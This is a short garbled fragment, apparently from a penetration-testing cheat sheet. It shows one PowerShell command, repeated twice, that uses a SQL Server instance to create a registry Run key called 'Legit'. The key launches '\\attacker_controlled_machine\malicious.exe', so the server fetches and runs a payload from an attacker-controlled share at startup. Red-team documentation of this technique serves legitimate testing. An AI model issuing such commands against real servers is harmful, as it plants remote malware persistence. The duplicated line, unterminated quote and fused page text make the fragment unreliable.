SQL
Get-SQLPersistRegRun –Verbose –Name Legit –Command "\\attacker_controlled_machine\malicious.exe" –Instance "SQLServerName\InstanceNameLast updated
Get-SQLPersistRegRun –Verbose –Name Legit –Command "\\attacker_controlled_machine\malicious.exe" –Instance "SQLServerName\InstanceNameLast updated